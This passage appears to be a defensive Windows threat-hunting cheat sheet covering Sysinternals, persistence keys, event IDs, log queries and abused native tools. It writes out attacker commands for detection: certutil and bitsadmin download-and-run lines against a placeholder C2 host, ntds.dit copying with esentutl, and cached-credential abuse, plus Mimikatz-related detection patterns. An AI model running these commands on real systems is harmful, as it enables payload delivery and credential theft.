Why it matters: Runs with saved credentials, password persistence without storing plaintext (T1078). Red flags: /savecred (stores hashed creds in the user's vault); runas on compromised hosts; correlate with 4648 explicit-logon events.

xcopy / robocopy, staging and exfil

```
xcopy C:\sensitive D:\share\ /e /h /y
robocopy C:\data \\server\share\ /E /R:1 /W:1
```

Why it matters: Bulk file movement for staging/exfil (T1005, T1048). Red flags: Large recursive copies to removable drives or cloud-mapped shares; robocopy with /R:1 /W:1 (fast, no retry, attacker pattern).

Sysinternals Quick Reference

autorunsc, autostart inventory

```
autorunsc64 -accepteula -a * -c -m -s | Out-File autoruns.csv
```

Why it matters: Full autostart map (Run keys, services, scheduled tasks, IFEO, drivers, WMI) in CSV. Red flags: Entries in Temp/Public, unsigned entries, non-Microsoft persistence with recent dates; -m hides Microsoft entries so what remains is the attack surface; -s verifies signatures.

procmon, full trace

```
procmon64 /AcceptEula /BackingFile C:\evidence\procmon.pml /Quiet
```

Why it matters: File, registry, process, and network activity with stack + user context. Red flags: Filter for Operation Process Create, CreateFile with Result NAME COLLISION (file creation), RegSetValue (persistence writes), TCP Connect/UDP Send (C2). Short traces around a known event beat long ones.

sigcheck, binary inspection

```
sigcheck64 -accepteula -a -h -vt -m C:\suspect.exe
```

Why it matters: Version info, hashes, manifest, VirusTotal detections in one pass. Red flags: Unsigned or newly-signed binaries, VT hits, manifest requesting admin, hash mismatch vs. vendor.

streams, ADS scan

```
streams64 -accepteula -s C:\Users\Public
```

Why it matters: Recursive ADS discovery (T1564.004). Red flags: ADS on executables/scripts; Zone.Identifier missing on downloaded files; large stream sizes.

proccxp, live process explorer

```
proccxp64 /accepteula
```

Why it matters: Process tree, DLLs, strings, signature verification, GPU handles in a GUI. Red flags: Unsigned processes, processes in unexpected sessions, injected DLLs in legit processes, "Verify Signatures" failures on core binaries.

pslist, console process list

```
pslist64 -accepteula -t
```

Why it matters: Process list with tree (-t) for parent-child analysis without a GUI. Red flags: Trees where Office/brower -> cmd -> powershell -> rundll32 (proxy chains, T1055/T1566).

pservice, remote service control

```
pservice64 -accepteula \\target query
```

Why it matters: Remote service config and control. Red flags: Services with Temp/Public binaries on remote hosts; service state changes outside maintenance windows.

logonsessions, session audit

```
logonsessions64 -accepteula
```

Why it matters: All active logon sessions with user and session type. Red flags: Interactive sessions at odd hours; sessions under service accounts; multiple sessions from one user.

tcpview, GUI network monitor

```
tcpview64 /accepteula
```

Why it matters: Live connections with process mapping and WHOIS, faster visual triage than netstat. Red flags: Established connections from system processes to foreign IPs; connections that persist across user logoffs.

accesschk, permission audit

```
accesschk64 -accepteula -uwcqv "Everyone" C:\Windows\Temp
```

Why it matters: Finds world-writable directories, the usual payload drop spots. Red flags: Everyone/Users write access to system dirs; writable Program Files entries.

sdelete, secure delete (dual-use)

```
sdelete64 -accepteula -s -z C:\
```

Why it matters: Defenders wipe data; attackers wipe evidence (T1485, T1070.004). Red flags: **sdelete loads a kernel driver and registers a service**: hunt Sysmon event 6 (driver load) and System 7045/4697 for names containing sdelete/sysinternals; bulk -z (zero free space) on volumes = evidence destruction or data wipe.

Registry Persistence Keys

Key	What to check	ATT&CK
HKCU\Software\Microsoft\Windows\CurrentVersion\Run, RunOnce	Per-user startup values	T1547.001
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, RunOnce, RunOnceEx	Machine-wide startup values	T1547.001
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	Policy-pushed startup, attacker-appendable	T1547.001
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	32-bit mirror of Run, often missed	T1547.001
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell / Userinit	Replaces the logon shell / userinit, runs before the desktop	T1547.004
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs (+ Wow6432Node)	DLL loaded into every GUI process at startup	T1546.010
HKLM\SYSTEM\CurrentControlSet\Services\<name>\ImagePath	Service binary path, temp payloads or argument tricks	T1543.003
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>\Debugger	Hijacks a target exe's launch to run anything	T1546.012
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>\GlobalFlag + SilentProcessExit	Runs a "monitor" process when the target exits, stealth persistence	T1546.012
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup (user), C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup (common)	Startup-folder shortcuts/scripts, runs at logon	T1547.001
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages / Security Packages	Loads DLLs into lsass, full-system credential access	T1547.002, T1547.005

Key	What to check	ATT&CK
HKCR\txtfile\shell\open\command, HKCR\batfile\..., HKCR\exefile\shell\open\command, HKCR\mscfile\..., HKCR\lnkfile\...	Shell open-command hijacks, payloads run on double-click	T1546.001

Query examples

```
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs
reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s /v ImagePath | findstr /i "temp programdata public appdata"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /v Debugger
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /v GlobalFlag
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
reg query "HKCR\txtfile\shell\open\command" /ve
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Startup
```

PowerShell equivalent, Run keys sweep

```
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'HKCU:
\Software\Microsoft\Windows\CurrentVersion\Run', 'HKLM:
\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce', 'HKCU:
\Software\Microsoft\Windows\CurrentVersion\RunOnce' | Format-List
```

Why it matters: One sweep covers the highest-yield persistence surfaces; check both HKLM and HKCU plus Wow6432Node, attackers mirror to the hive defenders forget to check. Red flags: Values pointing to Temp/Public/AppData; -enc/base64 in value data; Debugger values on any exe; Userinit/Shell not the default (userinit.exe, / explorer.exe); AppInit_DLLs populated; Authentication Packages beyond defaults (tspkg, wdigest, kerberos, msv1_0, schannel, pkinit, negoexts on modern systems, verify against baseline).

Event Log Triage Table

Log channel	Event IDs	What it detects
Security	4624	Successful logon, LogonType: 3=network, 9=runas, 10=RDP, 4=service, 2=interactive; correlate source IP
Security	4625	Failed logon, spraying/brute force (T1110)
Security	4634	Logoff
Security	4648	Explicit credential logon, runas, PSRemoting with creds, mapped drives (T1078)
Security	4672	Special privileges assigned, admin logon; pair with 4624
Security	4688	Process creation, needs "Audit Process Creation"; command line only if GPO "Include command line" is set
Security	4697	Service installed, needs "Audit Security System Extension" (T1543.003)
Security	4720	User account created (T1136)
Security	4728	Member added to security-enabled global group (T1098)
Security	4732	Member added to security-enabled local group (T1098)
Security	1102	Audit log cleared (T1070.001)
System	7045	New service installed (T1543.003)
System	7036	Service state change (start/stop)
Windows PowerShell	400 / 403 / 600	Engine start/stop, provider start, always on; engine runs per user/time
Microsoft-Windows-PowerShell/Operational	4103	Module logging, pipeline commands (GPO-gated)

Log channel	Event IDs	What it detects
Microsoft-Windows-PowerShell/Operational	4104	Script block logging, full script text incl. de-obfuscated payloads (GPO-gated; T1059.001)
Microsoft-Windows-PowerShell/Operational	4105 / 4106	Script block invoke start/stop
Microsoft-Windows-TaskScheduler/Operational	106	Task registered (T1053.005)
Microsoft-Windows-TaskScheduler/Operational	129	Task ran (created process)
Microsoft-Windows-TaskScheduler/Operational	141	Task deleted, cleanup after use
Microsoft-Windows-TaskScheduler/Operational	200 / 201	Task action started / completed
Microsoft-Windows-WMI-Activity/Operational	5857	WMI provider loaded
Microsoft-Windows-WMI-Activity/Operational	5858	WMI provider error, frequent with malicious consumers
Microsoft-Windows-WMI-Activity/Operational	5860	Temporary event consumer registered (T1546.003)
Microsoft-Windows-WMI-Activity/Operational	5861	Permanent event consumer registered (T1546.003)
Microsoft-Windows-Sysmon/Operational	1	Process creation with full command line (needs Sysmon config)
Microsoft-Windows-Sysmon/Operational	3	Network connection
Microsoft-Windows-Sysmon/Operational	6	Driver loaded (sdelete, malicious kernel drivers)
Microsoft-Windows-Sysmon/Operational	7	Image loaded, DLL injection visibility
Microsoft-Windows-Sysmon/Operational	8	CreateRemoteThread, injection primitive (T1055)
Microsoft-Windows-Sysmon/Operational	11	File created, payload drops
Microsoft-Windows-Sysmon/Operational	13	Registry value set, persistence writes
Microsoft-Windows-Sysmon/Operational	22	DNS query, C2 domain resolution
Microsoft-Windows-Windows Defender/Operational	1116	Malware detected
Microsoft-Windows-Windows Defender/Operational	1117	Remediation action taken
Microsoft-Windows-Windows Defender/Operational	1118	Engine started
Microsoft-Windows-Windows Defender/Operational	1119	Remediation action failed : the one that matters
AppLocker	8003	EXE allowed
AppLocker	8004	EXE blocked
AppLocker	8005 / 8007	Script allowed/blocked, covers .ps1 (T1059.001)

Log Export & Query

Export with wevtutil

```
wevtutil epl Security C:\evidence\Security.evtx
wevtutil epl "Microsoft-Windows-PowerShell/Operational" C:\evidence\PS-Operational.evtx
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\evidence\Sysmon.evtx
```

Why it matters: Binary .evtx export preserves structure; parse later with `Get-WinEvent -Path`, never work on the live log for an investigation. Red flags: epl of the *same* log an attacker just `cl-ed`; compare export timestamps vs. event 1102.

Query with wevtutil qe (XPath)

```
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text /c:200 /rd:true
wevtutil qe Security /q:"*[System[(EventID=4625) and TimeCreated[timediff(@SystemTime) <= 604800000]]]" /f:xml /c:5000
wevtutil qe "Microsoft-Windows-PowerShell/Operational" /q:"*[System[(EventID=4104)]]" /f:text /c:1000
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4688)]]" /f:text
```

Why it matters: XPath works on live and exported logs; `timediff` gives relative time windows (604800000 ms = 7 days). Red flags: Build queries for the *absence* too, `wevtutil gli Security` shows record count; a count far below expected is itself a finding.

Get-WinEvent -FilterHashtable, the day-to-day workhorse

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624,4625; StartTime=(Get-Date).AddDays(-7); EndTime=(Get-Date)} -MaxEvents 10000
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -match 'certutil|bitsadmin|mshta|rundll32.*javascript|regsvr32.*scrobj|powershell.*-enc' } | Format-List TimeCreated,Message
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Message -match 'DownloadString|Invoke-Mimikatz|amsiInitFailed' } | Format-List TimeCreated,UserId,Message
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1; StartTime=(Get-Date).AddDays(-1)} | Where-Object { $_.Message -match 'iex|DownloadString|-enc |-w hidden' } | Select-Object -First 100 TimeCreated,Message
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} -MaxEvents 200
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-3)} | Where-Object { $_.Message -match 'Logon Type:\s+3' } | Group-Object {$_.Properties[18].Value} | Sort Count -Descending | Select -First 20
```

Why it matters: Hashtable filters run server-side (fast); `-MaxEvents` and `StartTime` keep the pipeline light. (4624 `Properties[18]` = source IP, the group-by above ranks LogonType 3 source IPs.) Red flags: Watch `UserId` on 4104 (accounts that never run scripts suddenly do); LogonType 3 logons from non-domain controllers; 7045 bursts on one host.

Parse exported evtx

```
Get-WinEvent -Path C:\evidence\*.evtx -Oldest -MaxEvents 10000 | Where-Object { $_.Id -in 1,3,11,13,22 } | Select TimeCreated,Id,Message
```

Why it matters: Cross-host correlation on collected logs; `-Oldest` preserves chronology. Red flags: Same payload file created across many hosts (lateral spread); same script block hash across fleet (campaign).

Network & Process Triage

netstat, full connection map

```
netstat -naob
```

Why it matters: Connections with owning process (T1049); needs admin for `-b`. Red flags: Established connections from system processes to foreign IPs; repeated `SYN_SENT` (scanning); listeners on ephemeral/high ports.

```
netstat -ano | findstr ESTABLISHED
```

Why it matters: PID-only quick filter for scripts. Red flags: Many `ESTABLISHED` to one remote IP (aggregation); `TIME_WAIT` floods (rapid connections = beaconing).

route print, tunnels and pivots

```
route print
```

Why it matters: Routing table, tunnels and pivots show up here. Red flags: Unexpected routes to remote subnets; default gateway changed; routes via VPN/tunnel adapters that should not exist.

arp -a, Layer-2 neighbor table

```
arp -a
```

Why it matters: Layer-2 neighbor table (T1016). Red flags: Unknown MACs; one MAC answering for many IPs (spoofing/pivoting); stale entries for decommissioned hosts.

ipconfig /displaydns, resolution cache

```
ipconfig /displaydns
```

Why it matters: DNS resolution cache, what the host resolved recently. Red flags: C2 domains; typosquats of legit brands; DGA labels; cross-check with Sysmon 22.

nbtstat, NetBIOS recon

```
nbtstat -A 10.0.0.5
```

Why it matters: NetBIOS name/group table of a remote host (T1018). Red flags: Name lookups from non-IT hosts in bursts (network mapping).

tasklist, verbose inventory

```
tasklist /v /m
```

Why it matters: Process, window title, memory, loaded modules (T1057). Red flags: Odd window titles; processes running as users they shouldn't; unexpected DLLs loaded into svchost.

wmic process, legacy command-line query

```
wmic process where "name='powershell.exe'" get ProcessId,ParentProcessId,CommandLine /format:list
```

Why it matters: Same data as CIM, console-native; deprecated on Win11/Server 2025+ (use Get-CimInstance). Red flags: `-enc blobs`; `-w hidden`; parents that are Office/browser processes.

Get-CimInstance, the replacement

```
Get-CimInstance Win32_Process -Filter "name='powershell.exe'" | Select-Object  
ProcessId,ParentProcessId,ExecutablePath,CreationDate,CommandLine | Format-List
```

Why it matters: Creation date + parent + full command line in one query. Red flags: CreationDate minutes before the first malicious event; ParentProcessId pointing to a dead process; ExecutablePath empty.

Test-NetConnection, reachability check

```
Test-NetConnection evil.example.com -Port 443 -InformationLevel Detailed
```

Why it matters: Reachability and port check (triage). Red flags: Successful connection to known-bad; also test `-Port 5985/5986` to confirm PSRemoting reachability for lateral movement checks.

netsh trace, built-in packet capture

```
netsh trace start capture=yes tracefile=C:\evidence\cap.etl maxsize=512  
netsh trace stop
```

Why it matters: Native frame capture with zero extra tools (admin required). Red flags: DNS/HTTP beaconing patterns in the capture; convert ETL frames with `etl2pcapng` or Microsoft Network Monitor for analysis.

Get-Process, ownership and start time

```
Get-Process -IncludeUserName | Where-Object { $_.Path -match 'temp|programdata|public' } | Select-Object  
Id,ProcessName,UserName,Path,StartTime | Format-Table -AutoSize
```

Why it matters: Finds running payloads by their on-disk location, the process that points at the dropped file. Red flags: Any process running from Temp/Public/ProgramData; combine `StartTime` to anchor the intrusion time and `Get-CimInstance` for the parent.

Section 1 (cont. 2): Windows Native Tool Catalog A-F, Suspicious Parameters

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
bitsadmin	Create/ manage BITS background transfer jobs	<code>/create, /addfile, /setnotifycmdline, /setcustomheaders, /resume, /transfer</code>	Download payloads over trusted BITS channel; <code>/setnotifycmdline</code> runs a command when job completes	T1197
certutil	Certificate services utility; dump/ encode certs	<code>-urlcache -split -f <URL> <file>, -encode/-decode, -exportPFX -password, -verifyctl, -dump</code>	Canonical download primitive (<code>urlcache</code>); base64 deobfuscation; export cert+key for AD CS abuse	T1140
certreq	Request/ install certificates from a CA	<code>-Post -config <URL> <file> [out.txt]</code>	Download or exfil files via HTTP POST masquerading as CA traffic	T1105
certoc	Cert auto-enrollment / OCSP cache maintenance	<code>-LoadDLL <dll></code>	Loads arbitrary DLL (signed-binary proxy execution)	T1218
cmstp	Install Connection Manager service profiles	<code>/ni, /s, /au, /c</code> with attacker <code>.inf</code>	Silent INF install that runs commands / loads DLLs, often with elevation bypass	T1218.003
cmdl32	Connection Manager autodial download	<code>/vpn /lan <path\config></code>	Downloads file from URL embedded in a crafted config (saved as <code>VPN*.tmp</code> in <code>%TMP%</code>)	T1105
cscript	Run Windows Script Host scripts from console	<code>//e:vbs, //e:js, //nologo, //b</code> , script in user-writable path	Executes VBS/JS payloads; renamed <code>.txt/.jpg</code> script drop	T1059.007
curl	Web transfer (native since Win10 1803; older = third-party)	<code>-k, -o/-O <file>, --data/--data-binary @file</code> , URLs to non-allowlisted hosts	Stage payloads from / exfil data to C2; TLS checks disabled	T1105
cmd	Windows command shell (cmd.exe)	<code>/c, /k, /q /c, /v:on</code> with encoded/one-line chains	Run arbitrary commands; classic execution proxy from Office/Outlook parents	T1059.003
control	Open Control Panel items	<code>control.exe <dll> / <name.cpl> / <name.dll>, <func></code>	Load arbitrary DLL/CPL in explorer context (LOLBin execution)	T1218
eventvwr	Event Viewer MMC snap-in	No flags, abuse via <code>HKCU\Software\Classes\mscfile\shell\open\command</code> hijack	Signed binary runs attacker command on launch (UAC-bypass/ execution trick)	T1218

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
explorer	Windows shell / file manager	/root, "<path.exe>" (Win7-11); bare explorer.exe <exe> (Win10/11)	Spawns a binary with new explorer.exe parent, breaks process tree, evades EDR	T1202
forfiles	Batch-process files matching a mask	/p, /m, /c "cmd /c ..."	Indirect command execution with forfiles as parent; drops/launches payloads	T1202
csc	C# compiler (ships with .NET Framework, not core OS)	/out:<file>.exe, /target:exe, /reference:, source in temp	Compile payloads on target to bypass AV signatures	T1027.004
dllhost	COM surrogate host	Run from non-System32 path; /Processid:{GUID} with rogue CLSID	Executes COM objects / DLLs in a trusted signed process name	T1218

Reconnaissance & Network

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
arp	Display/modify ARP cache	arp -a	ARP table reveals other hosts on segment, quick lateral-discovery sweep	T1016
dir	List directory contents (cmd.exe built-in)	/a, /s, /b, /q, /x	Recursive hidden-file listing to map targets, find payloads, validate access	T1083
driverquery	List loaded kernel drivers	/v, /fo csv, /si	Enumerate drivers to fingerprint AV/EDR/agents before evasion	T1082
findstr	Search files for strings	/s, /i, /m, /n, targets like *.txt *.xml *.config *.log	Grep files for plaintext passwords, keys, configs (credential mining)	T1552.001
ftp	File Transfer Protocol client	-s:<script>, -n, -i with script of open/get/put to external host	Scripted bulk transfer, staging or exfiltration over plaintext FTP	T1048

Active Directory Enumeration & Manipulation (DC / RSAT only)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dsquery	Query AD for objects	* -filter "(objectCategory=user)" -limit 0, dsquery user, dsquery group	Bulk-enumerate users, groups, computers for targeting	T1087
dsget	Read AD object attributes	dsget user <dn> -memberof -samid -pwdneverexpires	Harvest group memberships and account attributes to plan privilege escalation	T1069
dsadd	Create AD objects	dsadd user <dn> -pwd <pwd> -memberof <group>	Create backdoor accounts; add them to privileged groups	T1098
dsmod	Modify AD objects	dsmod user <dn> -pwd <pwd> -memberof CN=Domain Admins,...	Reset passwords / escalate existing accounts (persistence or takeover)	T1098
dsmove	Move AD objects between containers	dsmove <dn> -newparent OU=...	Move accounts into weak-policy OUs or off targeted containers	T1098

Persistence & Services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
at	Schedule one-time jobs (legacy; superseded by schtasks, jobs invisible to Task Scheduler GUI on Win8+)	at \\host HH:MM /interactive cmd /c ..., at /delete /yes	Legacy scheduled-task persistence that evades Task Scheduler monitoring	T1053.002

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
assoc	Show/change file-type associations (cmd.exe built-in)	assoc .ext=evilprogid, ftype evilprogid=cmd /c ...	Repoint extension to attacker handler, execution/persistence on file open	T1547.001

Credential Access

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
cmdkey	Manage cached credentials (Credential Manager)	/ add:target, / generic:target, /user:, / pass:, /list	Store reusable creds for lateral movement; /list harvests what is cached	T1555
esentutl	ESE database management (repair/copy)	/y <db> /d <dest> /o, /p <db>, /c, /r	Offline copy of ntds.dit/SAM/ SYSTEM without VSS; /p manipulates the copy	T1003.003
clip	Pipe output to the clipboard	cmd /c type <secret> clip	Steal clipboard contents or copy sensitive data for pickup	T1115
diskshadow	Volume Shadow Copy Service scripting	/s <script>, exec <exe>	Script shadow-copy of C: and copy ntds.dit (VSS-evasion dump)	T1003.003

Defense Evasion & Anti-Forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
attrib	Show/change file attributes	+h, +s, +r on dropped payloads; -h -s -r	Hide malware from listings and default dir; reveal-attributes cleanup after hiding	T1564.001
bcdedit	Manage Boot Configuration Data	/set {globalsettings} advancedoptions true, /set {default} recoveryenabled no, /delete {id}	Force Safe-Mode boot (persistent UAC-bypass vector); disable recovery/diagnostics	T1548.002
cacls	Change ACLs (legacy; superseded by icacls)	cacls <file> /e /g everyone:F, /t	Grant full control, permission escalation / disabling protections on files	T1222.001
cipher	Encrypt/decrypt files; wipe free space	/w:C:\, /e, /d, /u /n	/w overwrites deleted-file remnants (forensic evidence destruction); encrypt for cover	T1070.004
del	Delete files (cmd.exe built-in)	/f, /s, /q, /a	Silent recursive deletion incl. hidden/read-only, cleanup, log purge, tool removal	T1070.004
diskpart	Disk/partition/volume management	/s <script>, select disk, clean, delete partition, attach vdisk, create vdisk	Scripted destructive disk ops or mounting attacker VHDs for staging	T1485
format	Format volumes	format <drive>: /q /y /fs:...	Quick silent wipe of volumes/drives, destruction or evidence removal	T1485
fsutil	Filesystem/volume utilities	fsutil usn deletejournal /d C:, fsutil file createnew <f> <bytes>	Delete the USN journal (kills forensic change tracking); create decoy/spacer files	T1070.004

File & Data Operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
comp	Compare two files byte-by-byte	/c, /n=<n>, /a	Rarely abused; can verify staged copies	T1005
compact	Compress files/folders (NTFS)	/c, /u, /s, /i	Compress stolen data pre-exfil or hide files	T1560.001

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
copy	Copy files (cmd.exe built-in)	/y, /b, + concatenation	Stage payloads into user-writable dirs; overwrite targets; concatenate file parts	T1074
diantz	Cabinet maker (legacy; superseded by makecab)	/f <ddf>, /D	Build CAB archives of collected data; rarely seen in legit admin use	T1560.001
dism	Windows image servicing / deployment	/image:<wim>, /apply-image, /add-driver, /online /enable-feature	Modify offline images to add persistence/unattended settings; enable risky features	
expand	Expand CAB files	-f:*, /d, /r	Extract staged CAB archives; rarely abused	
extrac32	CAB extraction utility	/Y, /E, /L <dest>	Extract attacker CABs to execution paths; masquerades as innocuous helper	

DETAIL BLOCKS, Most-Abused A-F Tools

certutil, download / encode-decode / cert theft

```
certutil -urlcache -split -f http://C2/payload.exe C:\Users\Public\p.exe
certutil -decode stage.txt payload.exe
certutil -exportPFX -password Pass123 "My" store.pfx
```

- urlcache -split -f: downloads a remote file to disk (cache-split, force overwrite), the canonical Windows download primitive.
- decode (-encode): base64-decode a staged text payload into a dropped binary (deobfuscation).
- exportPFX -password: exports user/machine certificates with private keys, cert theft for AD CS abuse.
- Detect: Sysmon EID 1 / Security 4688 with CommandLine containing urlcache, -split, -f, or encode/decode outside a cert cache dir; Sysmon EID 11 for the dropped .exe/.pfx; parent usually powershell/cmd.

bitsadmin, BITS job download + notify execution

```
bitsadmin /create /download JOB
bitsadmin /addfile JOB http://C2/p.exe C:\Temp\p.exe
bitsadmin /setnotifycmdline JOB cmd.exe "cmd /c C:\Temp\p.exe"
bitsadmin /resume JOB
```

- /create + /addfile + /resume: transfers a file from an attacker URL; BITS traffic is trusted by AV and may bypass proxies.
- /setnotifycmdline: runs a command when the job completes, download plus execution in one signed utility.
- Detect: Microsoft-Windows-Bits-Client/Operational job events; Sysmon EID 1 (bitsadmin with /addfile//setnotifycmdline) and EID 3 network to non-Microsoft IPs; Security 4688.

cscript, WSH execution of script payloads

```
cscript //nologo //e:vbs C:\Users\Public\evil.vbs
```

- //e:vbs///e:js: forces a script engine, letting renamed .txt/.jpg files execute as VBS/JS.
- //nologo, //b: quiet, background, reduces console noise.
- Detect: Sysmon EID 1 for cscript/wscript with script paths under user-writable dirs (AppData, Temp, Public, Downloads); EID 11 (script file written) followed shortly by execution; parents explorer, cmd, or outlook.

cmstp, silent INF install

```
cmstp.exe /ni /s C:\Users\Public\evil.inf
```

- /ni: no user interface; /s: silent, hides all install prompts.
- The attacker INF can load a DLL via AddPerUserAssoc/Add-Command and escalate privileges (UAC bypass) because cmstp is a Microsoft-signed binary.
- Detect: Sysmon EID 1 for cmstp.exe with /ni or /s; EID 11 .inf created in temp/user dirs; child rundll32 spawned from cmstp; Security 4688.

cmdkey, credential storage for lateral movement

```
cmdkey /generic:DC01 /user:CORP\admin /pass:Winter2026!  
cmdkey /list
```

- /generic: (or /add:) + /user + /pass: stores plaintext credentials in Credential Manager for later reuse (RDP/UNC/runas), also a persistence-like foothold.
- /list: enumerates every cached credential on the box (harvesting).
- Detect: Sysmon EID 1 with cmdkey /add, /generic, or /list; Sysmon EID 12/13/14 registry writes under Credential Manager; Security 4688; correlate with subsequent logon to the target host.

esentutl, offline NTDS.dit / SAM copy

```
esentutl /y C:\Windows\NTDS\ntds.dit /d C:\Temp\ntds.dit /o  
esentutl /p C:\Temp\ntds.dit
```

- /y <src> /d <dest> /o: copies the live database offline (no log tail), dump ntds.dit, SAM, or SYSTEM without invoking VSS.
- /p: "repair" pass that validates/patches the copied DB so offline hash extraction succeeds.
- Detect: Sysmon EID 1 with /y or /p referencing ntds.dit/SAM/SYSTEM; Security 4663/4656 file accesses on NTDS.dit (with SACL); 4688; same-window appearance of copied files in temp.

attrib, hide dropped payloads

```
attrib +h +s +r C:\Users\Public\payload.exe
```

- +h +s +r: hidden + system + read-only, hides the file from Explorer and default dir listings and resists casual deletion.
- Detect: Sysmon EID 1 for attrib on user-writable paths (legit use is almost always on C:\Windows\system files); EID 11 for hidden-attribute file creation; Security 4688.

bcdedit, UAC bypass / boot forensics evasion

```
bcdedit /set {globalsettings} advancedoptions true  
bcdedit /set {default} recoveryenabled no
```

- {globalsettings} advancedoptions true: forces the Safe Mode/advanced-boot prompt on every boot, a persistent UAC-bypass trigger.
- recoveryenabled no / bootstatuspolicy ignoreallfailures: suppresses recovery and boot-failure reporting, hiding system tampering.
- Detect: Sysmon EID 1 for bcdedit /set or /delete (rare in normal ops); Sysmon EID 12/13 writes to the BCD hive; Security 4688; flag any non-/enum invocation.

forfiles, indirect command execution

```
forfiles /p C:\Windows /m svchost.exe /c "cmd /c C:\Temp\evil.exe"
```

- /c with a cmd /c ... (or powershell) command: executes arbitrary code while looking like a file-retrieval utility; breaks the process tree (parent becomes forfiles).
- Detect: Sysmon EID 1 with forfiles CommandLine containing /c plus cmd/powershell; Security 4688; parent-child anomaly forfiles → cmd → payload.

findstr, credential & config mining

```
findstr /s /i /m "password" C:\Users\*.txt C:\*.xml C:\*.config
```

- /s: recurse subdirectories; /i: case-insensitive; /m: print only filenames, greps whole user/app tree for secrets.
- Detect: Sysmon EID 1 for findstr targeting .config/.xml/.txt/.db under user profiles or app data (legit use is ad-hoc in CWD); Security 4688; correlate with later authentication or exfil.

Section 1 (cont. 3): Windows Native Tool Catalog G-L, Suspicious Parameters

Download & execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
hh.exe	Opens Compiled HTML Help (.chm) files	hh.exe <payload.chm>; hh.exe "http://host/evil.chm"; mk:@MSITStore:URIs	CHM pages embed scriptable JScript/Shortcut objects; opens and executes embedded payload, then spawns cmd/powershell, signed proxy exec	T1218.001
ieexec.exe	.NET IE execution host (runs managed apps)	ieexec.exe <URL-to-assembly> (e.g. http://attacker/test64.exe)	Microsoft-signed binary that executes remote managed .NET assemblies, bypassing AppLocker/allowlists	T1218
ie4uinit.exe	IE user-mode initialization	-basesettings run from a non-System32 path next to crafted ie4uinit.inf	INF/SCT fetch-execute: loads COM scriptlets from remote servers; seen with TA4557/FIN6 (more_eggs, Cobalt Strike); benign flag -ClearIconCache exists	T1218
ieexpress.exe	Creates self-extracting CAB/EXE packages	ieexpress /N /Q /M <payload.sed>; built package run with /Q /C:"cmd /c ..."	Builds silent self-extracting installer that auto-runs an arbitrary command, repackaging malware into signed-looking installers	T1204.002
InstallUtil.exe	Installs .NET assemblies via installer classes	/logfile= /LogToConsole=false /U <assembly>	[System.ComponentModel.RunInstaller(true)] class executes code on Install/Uninstall; signed MS binary used for AppLocker bypass	T1218.004
lpksetup.exe	Installs/removes Windows language packs	/i * /s /p <path> (silent); /u <lang>; run from non-standard path	Loads resources from its own directory, dropped lpksetup.exe + malicious lpksetup.dll = DLL sideloading; silent pack install from a share = tamper	T1574.001
